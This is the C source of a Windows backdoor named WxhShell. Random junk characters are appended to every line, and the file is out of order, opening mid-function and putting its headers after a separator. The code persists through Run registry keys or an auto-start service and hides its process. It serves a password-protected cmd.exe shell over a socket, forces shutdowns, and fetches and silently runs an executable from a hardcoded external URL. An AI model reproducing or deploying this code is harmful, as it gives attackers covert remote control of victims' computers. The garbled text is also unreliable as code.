    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f61]`@Bk  
    if(Boot(SHUTDOWN)) l$qmn$Uc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HKT{IP+7(L  
    else { (rMTW+,  
    closesocket(wsh); J\9jsx!WQ  
    ExitThread(0); `_6@3-%  
    } a:wJ/ p  
    break; +2f> M4q  
    } l %]<-  
  // 获取shell g!z8oPT  
  case 's': { HX z iDnj  
    CmdShell(wsh); _tWfb}6;Zb  
    closesocket(wsh); T5X'D(\|  
    ExitThread(0); hc31+TL  
    break; P*nT\B  
  } J_((o  
  // 退出 qJAv=D  
  case 'x': { 4N0W& Dy  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?Sd~u1w8K  
    CloseIt(wsh); !Sr0Im0  
    break; , L AJ  
    } H8Z Z@@ qm  
  // 离开 !EyGJa[ i  
  case 'q': { Wtzj;GJj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _g/T H-;^  
    closesocket(wsh); /^es0$Co.  
    WSACleanup(); ,EGD8$RA]  
    exit(1); UVQa af  
    break; %RK\Hz2q3  
        } t,r&SrC  
  } HK,G8:T  
  } ]R3pBC"Jv  
v1tN DyM6  
  // 提示信息 6{,K7FL  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]I.& .?^i0  
} 7T(OV<q;#  
  } M}KM]<  
<^X'f  
  return; @{$Cv"6769  
} r>:7${pF  
M& BM,~  
// shell模块句柄 1RUbY>K#U  
int CmdShell(SOCKET sock) >stVsFdV)  
{ p'w"V6k('~  
STARTUPINFO si; U!-+v:SF  
ZeroMemory(&si,sizeof(si)); "3>*i!i  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?H86Wbz  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "3KSmb   
PROCESS_INFORMATION ProcessInfo; ^5'/ }iR2N  
char cmdline[]="cmd"; ~IJZM`gN  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >7v.`m6?H  
  return 0; g  cK"  
} =='{[[J  
 lN`_0  
// 自身启动模式 Dy!bj  
int StartFromService(void) 5}l#zj  
{ l!2Z`D_MD  
typedef struct U(&nh ?  
{ '|A5a+[  
  DWORD ExitStatus; xvz5\s|b  
  DWORD PebBaseAddress; ; K 6Fe)  
  DWORD AffinityMask; $rQFM[  
  DWORD BasePriority; QGCdeE$K  
  ULONG UniqueProcessId; r)@&2b"q  
  ULONG InheritedFromUniqueProcessId; ("M#R!3  
}   PROCESS_BASIC_INFORMATION; |% YzGgp7  
))+9 8iU1s  
PROCNTQSIP NtQueryInformationProcess; <[B[  
=rO>b{,hs  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; SAo \H  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I~5fz4Q  
O[(HE 8E  
  HANDLE             hProcess; +}L3T"  
  PROCESS_BASIC_INFORMATION pbi; ~1]2A[`s!  
LU IT=+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R&|)y:bg|  
  if(NULL == hInst ) return 0; u$@I/q,ou  
g!) LhE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Kac j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); V<7K!<g)b  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n#L2cv~Aj"  
@p` CAB  
  if (!NtQueryInformationProcess) return 0; JE:n`l/p  
m ?"%&|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /zP)2q^  
  if(!hProcess) return 0; T _9ZI|Jx  
$$;2jX"I  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gwB> oi*OE  
a:%5.!Vd  
  CloseHandle(hProcess); hv8[_p`>  
{hq ;7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ci NTYow  
if(hProcess==NULL) return 0; {F9Qy0.*u  
[tf^i:2  
HMODULE hMod; GTIfrqT  
char procName[255]; iF_r'+j  
unsigned long cbNeeded; P;o>~Y>x  
+FKP5L}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2?7hUaHX  
_M4v1Hr48  
  CloseHandle(hProcess); pz6- hi7  
=|&"/$+s  
if(strstr(procName,"services")) return 1; // 以服务启动 A_*Lo6uII  
9n\#s~,  
  return 0; // 注册表启动 -/7=\kao%  
} h+u|MdOY\  
ez:o9)N4  
// 主模块 IV#My9}e  
int StartWxhshell(LPSTR lpCmdLine) ]}L1W`n  
{ #V,~d&_k  
  SOCKET wsl; xjk|O;ak  
BOOL val=TRUE; adr^6n6 v  
  int port=0; Ty|c@X  
  struct sockaddr_in door; F*( A; N_y  
pC. 4AkEO  
  if(wscfg.ws_autoins) Install(); Py0 i%pZ  
)n[Mh!mn  
port=atoi(lpCmdLine); <m gTWv  
WuZ n|j'  
if(port<=0) port=wscfg.ws_port; iZUz6  
\bl,_{z?  
  WSADATA data; *rKv`nva5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x<7` 109]  
w8#>xV^~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \R6T" U  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R M+K":p  
  door.sin_family = AF_INET; Nl)jQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); AS"|r  
  door.sin_port = htons(port); tYNt>9L|  
Wq&c,H  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m]}"FMH$  
closesocket(wsl); 19{?w6G<k  
return 1; ]BD5+>;  
} E_uH' E  
>5:e1a?9  
  if(listen(wsl,2) == INVALID_SOCKET) { ssbyvzQ  
closesocket(wsl); aNU%OeQA  
return 1; 6}lEeMRW  
} Q>g$)-8  
  Wxhshell(wsl); R* G>)YH  
  WSACleanup(); /Z_ [)PTH  
gm$MEeC  
return 0; Ijro;rsEKM  
(lsod#wEMg  
} 7TY"{? ~O5  
#l% \}OC  
// 以NT服务方式启动 /j\TmcnU^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) v86`\K*0Y  
{ x&b-Na3Xi  
DWORD   status = 0; '=Y~Ir+  
  DWORD   specificError = 0xfffffff; 3o/ a8  
|i}g7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7+r5?h|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .[85<"C  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k6XmBBIj-  
  serviceStatus.dwWin32ExitCode     = 0; -7VV5W  
  serviceStatus.dwServiceSpecificExitCode = 0; 1vudT&  
  serviceStatus.dwCheckPoint       = 0; FdHWF|D  
  serviceStatus.dwWaitHint       = 0; ;|,Y2?  
F>R)~;Ja  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); LB+=?Mz V  
  if (hServiceStatusHandle==0) return; %b4(wn?n:B  
I;Y`rGj  
status = GetLastError(); r(CL=[  
  if (status!=NO_ERROR) \1_&?( pU  
{ [+7X&B  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [kkcV5I-  
    serviceStatus.dwCheckPoint       = 0; n}kz&,  
    serviceStatus.dwWaitHint       = 0; L KR,CPz  
    serviceStatus.dwWin32ExitCode     = status; ,R6$SrNcd  
    serviceStatus.dwServiceSpecificExitCode = specificError; ZWEzL$VWi  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ) hB*Hjh  
    return; <L#r6y~H  
  } [6N39G$  
*j:5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; YL0RQa  
  serviceStatus.dwCheckPoint       = 0; bZfJG^3  
  serviceStatus.dwWaitHint       = 0; %,RU)}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); eA^|B zU  
} @eU/g![u  
UbH=W(%  
// 处理NT服务事件,比如:启动、停止 $ayD55W4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?,>y`Qf*|  
{  ?C\9lLX  
switch(fdwControl) B6&Mtm1  
{ sg\ jC#  
case SERVICE_CONTROL_STOP: n K=V`  
  serviceStatus.dwWin32ExitCode = 0; 8#B;nyGD1I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; p4_uY7^6  
  serviceStatus.dwCheckPoint   = 0; `"4EE}eQc  
  serviceStatus.dwWaitHint     = 0; AOUO',v  
  { "ET"dMxU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #JM*QVzv  
  } .JjuY'-Q  
  return; ^[akB|#\9  
case SERVICE_CONTROL_PAUSE: NebZGD2K  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (Cd `~*5  
  break; ,r4af<  
case SERVICE_CONTROL_CONTINUE: .?NAq[H%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vkmR cX:/  
  break; -&tiM v  
case SERVICE_CONTROL_INTERROGATE: =p$Wo  
  break; 1t'\!  
}; "rJL ^ \r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4ebGAg?_  
} Y [S^&pF  
FFGTIT# {"  
// 标准应用程序主函数 H;E{Fnarv  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) fsu "Lc  
{ j]^]p; An  
p(%x&*)f  
// 获取操作系统版本 ?OFvGd  
OsIsNt=GetOsVer(); <'33!8 G  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [*v\X %+  
x #g,l2_!  
  // 从命令行安装 Q5JeL6t  
  if(strpbrk(lpCmdLine,"iI")) Install(); +^:K#S9U  
1cega1s3xR  
  // 下载执行文件 H R  
if(wscfg.ws_downexe) { ysPW<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Jsl,r+'H  
  WinExec(wscfg.ws_filenam,SW_HIDE); R)z|("%ec  
} s#3{c@^3  
:8g \B{  
if(!OsIsNt) { oY:>pxSz<@  
// 如果时win9x,隐藏进程并且设置为注册表启动 5Tq 3L[T5;  
HideProc(); &h-1Z}  
StartWxhshell(lpCmdLine); kE h# 0  
} H++rwVwj#h  
else <Jz>e}*)  
  if(StartFromService()) XMdYted  
  // 以服务方式启动 2BY:qz%:  
  StartServiceCtrlDispatcher(DispatchTable); lhU#/}Z  
else &D#v0!e~x  
  // 普通方式启动 `x{gF8GV  
  StartWxhshell(lpCmdLine); :1Cc~+]w(u  
OMU#Sx!6  
return 0; :nt%z0_  
} 3-D!ZS&  
=%p{ " <  
Ycwb1e#  
o hCPNm  
=========================================== zO,sq%vQn'  
hAdEq$  
WjB[e>  
~S9nLb:O{  
C Qebb:y  
|%}?*|-  
" 4=Zlsp  
I$&/?ns@O  
#include <stdio.h> PhQD}|S  
#include <string.h> M}>q>  
#include <windows.h> JQqDUd  
#include <winsock2.h> frt?*|:  
#include <winsvc.h> {T9g\F*  
#include <urlmon.h> kMA>)\  
U Lq%,ca  
#pragma comment (lib, "Ws2_32.lib") RfD$@q9  
#pragma comment (lib, "urlmon.lib") Y~6pJNR  
gE&f}M-  
#define MAX_USER   100 // 最大客户端连接数 E:ytdaiT  
#define BUF_SOCK   200 // sock buffer 7blZAA?-  
#define KEY_BUFF   255 // 输入 buffer ='FEC-f95  
<~3 a aO  
#define REBOOT     0   // 重启 [Zf<r1m  
#define SHUTDOWN   1   // 关机 Jc+U$h4  
3^\y>  
#define DEF_PORT   5000 // 监听端口 Y'P8`$  
g6farLBF  
#define REG_LEN     16   // 注册表键长度 LuVj9+1 S  
#define SVC_LEN     80   // NT服务名长度 a5iMCmL+  
SV~xNzo~  
// 从dll定义API y-U(`{[nM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2-~oNJqX  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fjb2-K  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )UeG2dXx7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {D@y-K5  
`e bB+gI  
// wxhshell配置信息 )I#kG{z|P;  
struct WSCFG { _F,OS<>  
  int ws_port;         // 监听端口 ATU@5,9  
  char ws_passstr[REG_LEN]; // 口令 1\2 m'o  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]k Pco4  
  char ws_regname[REG_LEN]; // 注册表键名 Dj|S  
  char ws_svcname[REG_LEN]; // 服务名 )q,}jeM8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :/3`+&T^/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 v#6.VUAw  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \yqiv"'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;Cwn1N9S  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gOkO8P6P8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 La!PG Z{  
p4[W@JV  
}; 5^xt/vYa)  
5FMKJ7sC9  
// default Wxhshell configuration 8|l Yf%n>j  
struct WSCFG wscfg={DEF_PORT, h\5 7t@A  
    "xuhuanlingzhe", 1li`+~L F  
    1, (#:Si~3  
    "Wxhshell", ;9~z_orNQZ  
    "Wxhshell", }yw\+fc  
            "WxhShell Service", {*2A% }S  
    "Wrsky Windows CmdShell Service", U{x'@/Ld  
    "Please Input Your Password: ", kB 2bT}  
  1, }X UHP%  
  "http://www.wrsky.com/wxhshell.exe", ?:ZH%R_`a  
  "Wxhshell.exe" ;(sb^O  
    }; ]:njP3r  
0MOAd!N  
// 消息定义模块 L \$zr,=C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |!|`Je3 K  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ovl@[>OB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l20q(lb  
char *msg_ws_ext="\n\rExit."; o^ 4+eE  
char *msg_ws_end="\n\rQuit."; Kq*^*vWC  
char *msg_ws_boot="\n\rReboot..."; aH6pys!O  
char *msg_ws_poff="\n\rShutdown..."; Mf *qr9*  
char *msg_ws_down="\n\rSave to "; c]9OP9F  
1vThb  
char *msg_ws_err="\n\rErr!"; &qr7yyY  
char *msg_ws_ok="\n\rOK!"; oH;Y}h  
#\jPBLc  
char ExeFile[MAX_PATH]; L]V K9qB  
int nUser = 0;  }N[sydL  
HANDLE handles[MAX_USER]; )*uI/E  
int OsIsNt; bIH2cJ  
1{wy%|H\  
SERVICE_STATUS       serviceStatus; 5 xiYCOy  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }"T:z{n  
a-W&/  
// 函数声明 2vwT8/  
int Install(void); GP[$&8\M  
int Uninstall(void); /oI ''O%M  
int DownloadFile(char *sURL, SOCKET wsh); -&&mkK B!  
int Boot(int flag); [7B&<zY/?  
void HideProc(void); \KEL.}B9E  
int GetOsVer(void); njIvVs`q  
int Wxhshell(SOCKET wsl); lRrOoON  
void TalkWithClient(void *cs); V6!oe^a7'  
int CmdShell(SOCKET sock); #qPk,a  
int StartFromService(void); C?|gf?1p  
int StartWxhshell(LPSTR lpCmdLine); 1/gh\9h  
3drgB;:g`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y5;:jYk#<_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); q q`Uv U  
8'YL!moG|  
// 数据结构和表定义 y0Tb/&xN  
SERVICE_TABLE_ENTRY DispatchTable[] = LC}]6  
{ (]pQ.3  
{wscfg.ws_svcname, NTServiceMain}, O-7 \qz  
{NULL, NULL} |k)u..k{>  
}; xS.0u"[  
f ZISwr  
// 自我安装 |9g*rO  
int Install(void) MDlC U  
{ >):b AfI  
  char svExeFile[MAX_PATH]; w"D"9 G  
  HKEY key; X:dj5v  
  strcpy(svExeFile,ExeFile); Y 8P  
[)a,rrhj  
// 如果是win9x系统,修改注册表设为自启动 GY!&H"%  
if(!OsIsNt) { _x lgsa  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `w q\K8v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7W>T= @  
  RegCloseKey(key);  Op|Be  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BG|Kw)z*KM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WcdU fv(>  
  RegCloseKey(key); PCES&|*rf  
  return 0; =#W{&Te;  
    } EH[?*>+s  
  } ,Pl[SMt!  
} 1rN&Y,61\  
else { O`2%@%?I  
Cjd +\7#G  
// 如果是NT以上系统,安装为系统服务 S-1}3T%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); L4dbrPE*0  
if (schSCManager!=0) KLxg  
{ wCdUYgsPT"  
  SC_HANDLE schService = CreateService ubgq8@;  
  ( OZ-F+#d  
  schSCManager, TEYbB=.  
  wscfg.ws_svcname, gC'GZi^  
  wscfg.ws_svcdisp, 2n@"|\uHD  
  SERVICE_ALL_ACCESS, xv)7-jlx  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !is8`8F8  
  SERVICE_AUTO_START, ZpwB"%e$  
  SERVICE_ERROR_NORMAL, G1D(-X4ALZ  
  svExeFile, Um|:AT}`^  
  NULL, s2tEyR+gW  
  NULL, 8g$ 8]'M^T  
  NULL, V9MA)If>  
  NULL, <uAqb Wu  
  NULL f5O*Njl  
  ); 0!^{V:DtQ  
  if (schService!=0) IX3r$}4  
  { gU 8'7H2  
  CloseServiceHandle(schService); &r_:n t  
  CloseServiceHandle(schSCManager); 5ogbse"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;eWVc;H  
  strcat(svExeFile,wscfg.ws_svcname); aB$Y5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2. |Y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tkd2AMkh!  
  RegCloseKey(key); h+vKai  
  return 0; dCc*<S  
    }  :&Ul  
  } '; qT  
  CloseServiceHandle(schSCManager); Hv%a\WNS1  
} f",B;C  
} SI@I  
H kg0;)  
return 1; W}EO]A%f.\  
} $1w8GI\J  
$[z*MQ  
// 自我卸载 63at lq  
int Uninstall(void) 8]0R[kjD  
{ J${wU @_ %  
  HKEY key; *<9p88FpDU  
\Oc3rJ(  
if(!OsIsNt) { +tuC845  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jx-W$@  
  RegDeleteValue(key,wscfg.ws_regname); ' rXkTm1{  
  RegCloseKey(key); 0z,c6MjM+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $bN%x/  
  RegDeleteValue(key,wscfg.ws_regname); /  ]I]  
  RegCloseKey(key); Z'u`)jR  
  return 0; B^KC~W  
  } <yIJ$nBx  
} WJ mj|$D  
} nc`[fy|}  
else { `OBDx ^6F  
$#0%gs/x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =LuA [g  
if (schSCManager!=0) '&UX'Dd~Q  
{ 6~}=? sX4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &<L+;k~P%  
  if (schService!=0) ~ Iv[  
  { u[cbRn,W  
  if(DeleteService(schService)!=0) { a1s=t_wT  
  CloseServiceHandle(schService); ne;,TJ\  
  CloseServiceHandle(schSCManager); &oAuh?kTq  
  return 0; T6{IuQjXs  
  } i8 dv|oa  
  CloseServiceHandle(schService); [t0gXdU 6  
  } 5~ jGF  
  CloseServiceHandle(schSCManager); ^D\#*pIO  
} ^d!-IL_  
} fa$ Fo(.  
{At1]>  
return 1; ]2v31'  
} S c@g;+#QU  
}<XeZ?;  
// 从指定url下载文件 }n8,Ga%  
int DownloadFile(char *sURL, SOCKET wsh) `m3C\\9;  
{ -N9U lW2S  
  HRESULT hr; lPx4I  
char seps[]= "/"; )82x)c<e  
char *token; n|{x\@VeF  
char *file; |3vQmd !2}  
char myURL[MAX_PATH]; ;o#dmG  
char myFILE[MAX_PATH]; .O~)zM x  
vk{dL'  
strcpy(myURL,sURL); $S6AqUk$  
  token=strtok(myURL,seps); ?-*_v//g  
  while(token!=NULL) )=8X[<^i  
  { _ 57m] ;&  
    file=token;  x@Q}sW92  
  token=strtok(NULL,seps); qc@CV:  
  } 5.idC-\  
1 aIJ0#nE  
GetCurrentDirectory(MAX_PATH,myFILE); +\Rp N  
strcat(myFILE, "\\"); 27gK Y Zf;  
strcat(myFILE, file); +|\dVe.  
  send(wsh,myFILE,strlen(myFILE),0); 1)M3*h3  
send(wsh,"...",3,0); L{osh0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); sexnO^s  
  if(hr==S_OK) Pgb<;c:4  
return 0; e>Is$+[`7  
else R$NH [Tz  
return 1; WCU[]A  
Wrt3p-N"D  
} HlLF<k~}  
NNSn]LP  
// 系统电源模块 Gv3a<Knn4  
int Boot(int flag) ~[l2"@  
{ G^oBu^bq~  
  HANDLE hToken; fXO"Mr1  
  TOKEN_PRIVILEGES tkp; &yWl8O  
X+Xjf(  
  if(OsIsNt) { w#]%I+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0l{').!_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fq _6xs  
    tkp.PrivilegeCount = 1; EcFYP"{U  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; J*qepq`_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); HIeWgw^"  
if(flag==REBOOT) { +#n5w8T)M  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) c.,eIiL  
  return 0; sl>4O]N  
} mI"`.  
else { pn>zuH e  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) pT:CvJ  
  return 0; &A]*"lt|w  
} J3g>#N]='(  
  } V_(lZDjh*  
  else { U3az\E)HV  
if(flag==REBOOT) { p%_r0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -Z)$].~|t  
  return 0; 0g~WM  
} ^=}~  
else { T&6{|IfM_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :>;-uve8'  
  return 0; WSKG8JT^|  
} ,r+=>vre  
} kjJ\7x6M  
rN8 ZQiJC  
return 1; '9]%#^[Q  
} i8+kc_8#d  
u3w `(3{ <  
// win9x进程隐藏模块 :/K 'P`JaL  
void HideProc(void) *!Vic#D%  
{ ,H[-.}OO  
7 8Nli/U  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i=]IUjx<  
  if ( hKernel != NULL ) CSR 6  
  { a:7"F{D91  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,`B*rCOa  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ')}$v+9h  
    FreeLibrary(hKernel); 0 A/GWSmF  
  }  >pT92VN  
` L6H2:pf  
return; uFW4A  
} n +`(R]Q  
J9mLW}I?NW  
// 获取操作系统版本 r"zW=9 O=  
int GetOsVer(void) >dn[oS,  
{ w'#VN|;;!  
  OSVERSIONINFO winfo; I^ppEgYSY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3JWHyo  
  GetVersionEx(&winfo); L5]*ZCDv  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Gq$9he<  
  return 1; u'<Y#bsR#/  
  else 2P"@=bYT"  
  return 0; x.<^L] "  
} 0[x?Q[~S_0  
8HxB\ !0F?  
// 客户端句柄模块 &H-39;?u  
int Wxhshell(SOCKET wsl) w(<; $9  
{ M\DUx5d J,  
  SOCKET wsh; j+88J  
  struct sockaddr_in client; 8~Rja  
  DWORD myID; =3^YKI  
3-FS} {,  
  while(nUser<MAX_USER)  Xb&r|pR  
{ KAO}*?  
  int nSize=sizeof(client); Hvnak{5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #B &D  
  if(wsh==INVALID_SOCKET) return 1; 72@8M  
\Llrs-0 M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ak;fCx&  
if(handles[nUser]==0) jgVra*   
  closesocket(wsh); P5%DvZB$w  
else AuX&  
  nUser++; tQF7{F-}  
  } k$7-F3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); W#8qhmt  
r9yUye}  
  return 0; q;}^Jpb;  
} t&ztY] qh  
7'xT)~*$4  
// 关闭 socket 7"Zr:|$U  
void CloseIt(SOCKET wsh) e*jn7aya  
{ >Czcs=(L.k  
closesocket(wsh); = K"F!}  
nUser--; s@'};E^]@r  
ExitThread(0); \@:pWe  
} Q{Jz;6"  
v'Tk Kwl  
// 客户端请求句柄 fu?>O /Gn/  
void TalkWithClient(void *cs)  /e!/  
{ {o*ziZh  
R5H UgI  
  SOCKET wsh=(SOCKET)cs; v}M, M&?  
  char pwd[SVC_LEN]; G$x uHHZ'  
  char cmd[KEY_BUFF];  i('z~  
char chr[1]; }^pnwo9vV  
int i,j; _( 0!bUs>  
|U8;25Y  
  while (nUser < MAX_USER) { w-HgC  
~lzV=c$t  
if(wscfg.ws_passstr) { >hRYsWbmg  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FwBktuS  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ST'L \yebc  
  //ZeroMemory(pwd,KEY_BUFF); 'B8fc-n  
      i=0; ad&Mk^p  
  while(i<SVC_LEN) { !Z<GUbl t  
\Nb6E&+  
  // 设置超时 s3uT:Xw3rW  
  fd_set FdRead; `g6ZhG:W  
  struct timeval TimeOut; H]mY6D51"  
  FD_ZERO(&FdRead); L&Qdb xn  
  FD_SET(wsh,&FdRead);  UY+~,a  
  TimeOut.tv_sec=8; +VAfT\G2  
  TimeOut.tv_usec=0; * ,_Qdr^F  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nx $?wxIm  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X. UN=lu  
hkRv0q.'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ipb 4{A&"\  
  pwd=chr[0]; }u5 Mexs  
  if(chr[0]==0xd || chr[0]==0xa) { z,P:i$  
  pwd=0; ZBJ.dK?Ky|  
  break; j0kEi+!TVq  
  } B>o #eW  
  i++;  8Nd +  
    } dG Qy=T:  
VrQw;-rQ  
  // 如果是非法用户,关闭 socket W a2V Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $kZ,uvKN  
} :c!7rh7O  
kD >|e<}\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oMkB!s  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?Xlmt$Jp  
DJr 8<u  
while(1) { 1k-^LdDj  
AZI%KM[  
  ZeroMemory(cmd,KEY_BUFF); G"O %u|7  
$QNfy.6Tn  
      // 自动支持客户端 telnet标准   .^,fw=T|1  
  j=0; 6$%]p1"!K  
  while(j<KEY_BUFF) { jQ%}e"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ! r.X.C  
  cmd[j]=chr[0]; cd) <t8^KE  
  if(chr[0]==0xa || chr[0]==0xd) { K%2,z3ps  
  cmd[j]=0; FOquQr1cF  
  break; |b'tf:l  
  } yXg783B|v  
  j++; yJ/m21f  
    } YV. *8'*  
;}.jRmnJ  
  // 下载文件 !}l)okQH<#  
  if(strstr(cmd,"http://")) { ",#rI+ el  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); wZE[we^Q"  
  if(DownloadFile(cmd,wsh)) BXZ( %tnY  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !D7\$ g6g  
  else \X Nb9-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '/z.\S  
  } [0m'a\YE9  
  else { <saS2.4  
C/<fR:`c  
